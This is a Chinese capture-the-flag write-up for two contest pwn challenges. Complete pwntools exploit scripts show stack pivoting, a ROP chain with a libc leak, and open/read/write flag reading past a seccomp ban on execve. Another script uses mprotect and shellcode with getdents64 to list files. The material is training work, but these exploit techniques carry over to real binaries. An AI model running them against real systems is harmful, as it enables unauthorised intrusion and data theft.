2023黄河流域公安院校网络空间安全技能挑战赛 PWN

SandBox

链接:https://pan.baidu.com/s/1l3NhZ1xYwca48nf1p88iDg
提取码:05zg

题目开启了沙箱机制

沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。计算机领域的虚拟技术,常见于安全方向。会禁用一些系统调用

实现沙箱机制

  • 一种采用prctl函数调用

  • 一种是使用seccomp库函数。

grxer@grxer ~/D/p/police-pwn-2023> checksec sandbox
[*] '/home/grxer/Desktop/pwn/police-pwn-2023/sandbox'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
grxer@grxer ~/D/p/police-pwn-2023> seccomp-tools dump ./sandbox
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x06 0x00 0x00 0x00000000  return KILL

可以看到禁用了execve系统调用,同时system是不能使用的,因为system是glibc中的函数,用shell来调用程序=fork+exec+waitpid

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  io(argc, argv, envp);
  puts("A bit small, but it doesn't affect me cat flag");
  return read(0, buf, 0x60uLL);
}

栈迁移

只有0x10个字节的大小,我们先进行栈迁移

选择bss=0x404500

  • 我们先payload=padding+p64(bss)+p64(read_ret),由于是采用leave ret平栈,会把rbp改为bss地址,ret 到read

    • 在这里插入图片描述
  • payload=padding+p64(bss+0x50)+p64(read_ret),我们在bss-0x50输入

    • 在这里插入图片描述
  • 平栈后我们的rsp为0x404510(因为在leave mov esp,ebp后需要pop rbp和ret栈顶rsp会提高0x10),rbp为0x404550,再次返回read

    • 在这里插入图片描述
  • payload=p64(bss+0x60)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)会在bss输入payload

    • 在这里插入图片描述
  • 这里我们call read函数时会把返回地址放在0x404508处,我们把他覆盖为了pop rdi ;ret,所以在返回时就可以输出got表返回main

    • 在这里插入图片描述
  • 这样我们就可以返回main,再次循环利用迁移和覆盖read返回

ORW读取flag

对于32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值储存到eax寄存器。

对于64位程序,应调用 syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi、rsi、rdx的顺序传递到寄存器中,系统调用返回值储存到rax寄存器。

从使用上来看

  • 约定的传递参数的寄存器不同
    • syscall 使用的是 edi 、 esi 、 edx 、 ecx,
    • int 0x80 使用的是 ebx 、 ecx 、 edx 、 esi 、 edi

从内部机制来看

  • syscall 调用的是C库函数,是在用户空间的,并且最终还是会调用内核函数(入口点)
  • int 0x80 调用的是内核函数,是在内核空间的

我们先把‘./flag’字符串通过read函数写入内存payload=b’deadbeef’+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x404900)+p64(0x40)+p64(read_addr)+p64(main)

三个文件描述符

0 标准输入stdin

1 标志输出 stdout

2 标志错误 stderr

在利用标准库里的syscall打开flag文件,read读取到内存

payload=b’deadbeef’+p64(rdi)+p64(0x2)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym[‘syscall’])
payload+=p64(rdi)+p64(3)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym[‘read’])+p64(main)

syscall汇编如下

在这里插入图片描述

会把rdi rsi rdx等,依次给到rax rdi rsi等 再内核函数syscall系统调用

open打开文件描述符需要提供给read函数,一般都是从3开始(012被标志占用)

最后读取flag到标准输出,payload=b’deadbeef’+p64(rdi)+p64(1)+p64(rsi_r15)+p64(0x404900)+p64(0x100)+p64(base+libc.sym[‘write’])+p64(main)

拿到flag

在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./sandbox'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args['REMOTE']:
    io = remote('1.13.251.106','8004')
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
# db('b *0x401214')
rdi=0x401283
rsi_r15=0x0401281 
read_ret=0x4011F1
bss=0x404500
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.symbols['main']

padding=b'a'*0x50
payload=padding+p64(bss)+p64(read_ret)
sa(b'flag\n',payload)
payload=padding+p64(bss+0x50)+p64(read_ret)
sa(b'flag\n',payload)
p('main',main)
payload=b'deadbeef'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sa(b'flag\n',payload)
puts_ad=u64(r(6).ljust(8,b'\x00'))
p("puts_ad",puts_ad)

base=puts_ad-libc.symbols['puts']
read_addr = base + libc.symbols['read']
pop_rsi = base + next(libc.search(asm('pop rsi;ret;')))
mprotect = base + libc.sym['mprotect']
p('read_addr',read_addr)
padding=b'b'*0x50
payload=padding+p64(bss)+p64(read_ret)
sa(b'flag\n',payload)
payload=padding+p64(bss+0x50)+p64(read_ret)
sa(b'flag\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x404900)+p64(0x40)+p64(read_addr)+p64(main)
sa(b'flag\n',payload)
sleep(1)
s('./flag')

padding=b'c'*0x50
payload=padding+p64(bss)+p64(read_ret)
sa(b'flag\n',payload)
payload=padding+p64(bss+0x50)+p64(read_ret)
sa(b'flag\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(0x2)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym['syscall'])
payload+=p64(rdi)+p64(3)+p64(pop_rsi)+p64(0x404900)+p64(base+libc.sym['read'])+p64(main)
sa(b'flag\n',payload)


padding=b'd'*0x50
payload=padding+p64(bss)+p64(read_ret)
sa(b'flag\n',payload)
payload=padding+p64(bss+0x50)+p64(read_ret)
sa(b'flag\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(1)+p64(rsi_r15)+p64(0x404900)+p64(0x100)+p64(base+libc.sym['write'])+p64(main)

sa(b'flag\n',payload)
io.interactive()

flag???

链接:https://pan.baidu.com/s/1kHoiI7gXN0RLVzY1q7RPng
提取码:pdi2

grxer@grxer ~/D/p/police-pwn-2023> checksec pwn3
[*] '/home/grxer/Desktop/pwn/police-pwn-2023/pwn3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[96]; // [rsp+0h] [rbp-60h] BYREF

  io(argc, argv, envp);
  puts(s);
  return read(0, buf, 0x70uLL);
}

和sandbox一样,只有0x10字节的溢出,seccomp-tools检测了一下并没有沙箱,简简单单拿个shellZzz,直接栈迁移ROP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./flag???'
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

db('b *0x40120E')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.symbols['main']
rdi=0x0000000000401283
rsi_r15=0x0000000000401281
bss=0x404500
read_ret=0x4011F1

padding=b'a'*0x60
payload=padding+p64(bss)+p64(read_ret)
sa(b'\n',payload)
payload=padding+p64(bss+0x60)+p64(read_ret)
sa(b'\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sa(b'\n',payload)
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts_ad',puts_ad)
base=puts_ad-libc.symbols['puts']
system_ad=base+libc.symbols['system']
bin_sh=base+next(libc.search(b'/bin/sh'))
padding=b'b'*0x60
payload=padding+p64(bss)+p64(read_ret)
sa(b'\n',payload)
payload=padding+p64(bss+0x60)+p64(read_ret)
sa(b'\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(bin_sh)+p64(0x000000000040101a)+p64(system_ad)
sa(b'\n',payload)

io.interactive()

发现没有拿到shell

在这里插入图片描述

gdb跟了一下发现会执行到system(‘/bin/sh’),又是开了沙箱,没有检测出来,发现题目给了提示有沙箱

mprotect修改权限

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。

函数原型如下:

#include <unistd.h>
#include <sys/mmap.h>必须是一个内存页的起始地址
int mprotect(const void *start, size_t len, int prot);
从start开始修改len长度byte的权限为prot
* start必须从必须是一个内存页的起始地地址 linux页一般4k(0x1000byte)
* len必须是页整数倍
* part和linux文件权限一样 RWX

我们需要先泄露文件名,看到要写入shellcode,这一步是必要的

payload=b’deadbeef’+p64(rdi)+p64(mp_start)+p64(poprsi)+p64(4096)+p64(poprdx_r12)+p64(0x7)+p64(0x6666)+p64(mprotect)+p64(main)

在这里插入图片描述

修改完成rwx

getdents64泄露文件名

getdents64函数,它读取目录文件中的一个个目录项并返回

  • 参数一:fd指针
  • 参数二:写入的内存区域
  • 参数三:4096
  • 功能:把当前文件目录下的文件名写入参数二指向的内存区域

linux ls底层是调用getdents64函数实现的

我们用stace跟踪一些ls

strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。

ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(1, TIOCGWINSZ, {ws_row=49, ws_col=102, ws_xpixel=1632, ws_ypixel=1568}) = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
newfstatat(3, "", {st_mode=S_IFDIR|0777, st_size=4096, ...}, AT_EMPTY_PATH) = 0
getdents64(3, 0x55c4e28daac0 /* 23 entries */, 32768) = 800
getdents64(3, 0x55c4e28daac0 /* 0 entries */, 32768) = 0
close(3)                                = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}, AT_EMPTY_PATH) = 0
write(1, "bjdctf_2020_babystack\t  flag.txt"..., 67) = 67
write(1, "bjdctf_2020_babystack.py  get_st"..., 72) = 72
write(1, "ciscn_2019_c_1\t\t  get_started_3d"..., 72) = 72
write(1, "core\t\t\t  get_started_3dsctf_2016"..., 68) = 68
write(1, "ctest\t\t\t  IDA\t\t\t\t       payload."..., 51) = 51
close(1)                                = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++
payload=b'deadbeef'+p64(rdi)+p64(0)+p64(poprsi)+p64(mp_start+0x200)+p64(poprdx_r12)+p64(0x200)+p64(0x66666)+p64(read_ad)+p64(mp_start+0x200)
sa(b'\x96\x88\n',payload)
payload=asm(shellcraft.open('./'))
payload+=asm(shellcraft.getdents64(3, mp_start+0x100, 0x200))
payload+=asm(shellcraft.write(1,mp_start+0x100,0x200))
payload += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' %(main))
sleep(1)
s(payload)

打开当前文件夹,然后读取到指定内存后通过write输出,这里的第一个payload数据的写入区最后选择bss段中间位置如mp_start+0x200,开头部分可能不行,官方wp

mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;来返回,我感觉mov rsi, 0x%x;push rsi; ret;就可以,也打通了,不知道为什么要多一层syscall

payload=asm(shellcraft.open(flagname))
payload+=asm(shellcraft.read(4,mp_start+0x100,0x200))
payload+=asm(shellcraft.write(1,mp_start+0x100,0x200))

泄露出文件名,正常读取就可以,因为我们没有关闭前一个打开的fd指针,所以这里文件指针变为4

在这里插入图片描述

EXP 这里其实可以封装个函数,懒得搞了

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./grxer???'
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

db('b *0x40120E')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.symbols['main']
rdi=0x0000000000401283
rsi_r15=0x0000000000401281
bss=0x404500
read_ret=0x4011F1

padding=b'a'*0x60
payload=padding+p64(bss)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=padding+p64(bss+0x60)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sa(b'\x96\x88\n',payload)
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts_ad',puts_ad)
base=puts_ad-libc.symbols['puts']
system_ad=base+libc.symbols['system']

bin_sh=base+next(libc.search(b'/bin/sh'))
poprdi=next(libc.search(asm('pop rdi;ret;')))+base
poprsi=next(libc.search(asm('pop rsi;ret;')))+base
poprdx_r12=next(libc.search(asm('pop rdx;pop r12;ret;')))+base
p('poprdi',poprdi)
p('poprsi',poprsi)
p('poprdx',poprdx_r12)
mprotect=libc.symbols['mprotect']+base
read_ad=libc.symbols['read']+base
mp_start=0x404000

padding=b'b'*0x60
payload=padding+p64(bss+0x100)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=padding+p64(bss+0x60+0x100)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(mp_start)+p64(poprsi)+p64(4096)+p64(poprdx_r12)+p64(0x7)+p64(0x6666)+p64(mprotect)+p64(main)
sa(b'\x96\x88\n',payload)

padding=b'c'*0x60
payload=padding+p64(bss+0x200)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=padding+p64(bss+0x60+0x200)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(0)+p64(poprsi)+p64(mp_start+0x200)+p64(poprdx_r12)+p64(0x200)+p64(0x66666)+p64(read_ad)+p64(mp_start+0x200)
sa(b'\x96\x88\n',payload)
payload=asm(shellcraft.open('./'))
payload+=asm(shellcraft.getdents64(3, mp_start+0x100, 0x200))
payload+=asm(shellcraft.write(1,mp_start+0x100,0x200))
payload += asm('''
        mov rsi, 0x%x;push rsi; ret;
        ''' %(main))
sleep(1)
s(payload)

ru(b'flag')
flag=r(6)
print('flag--->'+flag.decode())
flagname='./flag'+flag.decode()
print(flagname)
padding=b'd'*0x60
payload=padding+p64(bss)+p64(read_ret)
# sa(b'\x96\x88\n\n',payload)
s(payload)
payload=padding+p64(bss+0x60)+p64(read_ret)
sa(b'\x96\x88\n',payload)
payload=b'deadbeef'+p64(rdi)+p64(0)+p64(poprsi)+p64(mp_start+0x200)+p64(poprdx_r12)+p64(0x200)+p64(0x66666)+p64(read_ad)+p64(mp_start+0x200)
sa(b'\x96\x88\n',payload)
payload=asm(shellcraft.open(flagname))
payload+=asm(shellcraft.read(4,mp_start+0x100,0x200))
payload+=asm(shellcraft.write(1,mp_start+0x100,0x200))
sleep(1)
s(payload)
io.interactive()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值